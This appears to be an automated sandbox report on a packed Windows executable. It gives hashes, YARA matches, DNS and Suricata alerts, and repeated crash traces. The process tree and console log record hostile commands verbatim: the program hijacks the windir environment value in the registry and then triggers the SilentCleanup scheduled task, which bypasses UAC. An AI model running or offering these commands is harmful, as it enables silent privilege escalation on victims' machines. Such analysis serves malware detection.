Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 22, 2021, 9:50 a.m.	Sept. 22, 2021, 10:02 a.m.

Size	1.1MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`cf98d2d4d4555323842c8371db09347e`
SHA256	`8fa72e87addead9671e573d7cb843ca784a10cfbf6acf5b6bc4830df66fe0bf0`
CRC32	`3E397E4F`
ssdeep	`12288:lIspEfnP8N/seflQTshT8aqeTW39KqyeoAdrL7SUbDz5Zp:320N/seflZhTmiW3AirPzz5Z`
Yara	UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library IsPE32 - (no description)

remit.exe "C:\Users\test22\AppData\Local\Temp\remit.exe"
1548
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2532
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    2264
    - reg.exe reg delete hkcu\Environment /v windir /f
      816
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      540
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      2736
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  2960
  - reg.exe reg delete hkcu\Environment /v windir /f
    1276

Name	Response	Post-Analysis Lookup
qcisaa.sn.files.1drv.com	CNAME odc-sn-files-geo.onedrive.akadns.net CNAME sn-files.fe.1drv.com CNAME sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net A 13.107.42.12 CNAME odc-sn-files-brs.onedrive.akadns.net CNAME l-0003.l-msedge.net	13.107.42.12
twistednerd.dvrlists.com	A 31.3.152.100	31.3.152.100
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch
31.3.152.100	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49167 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49165 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49166 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49165 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLSv1 192.168.56.102:49166 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.102:49167 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 22, 2021, 9:50 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 9:50 a.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 10 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 10 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 10 a.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 10 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

One or more processes crashed (50 out of 148 events)

Time & API	Arguments	Status
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
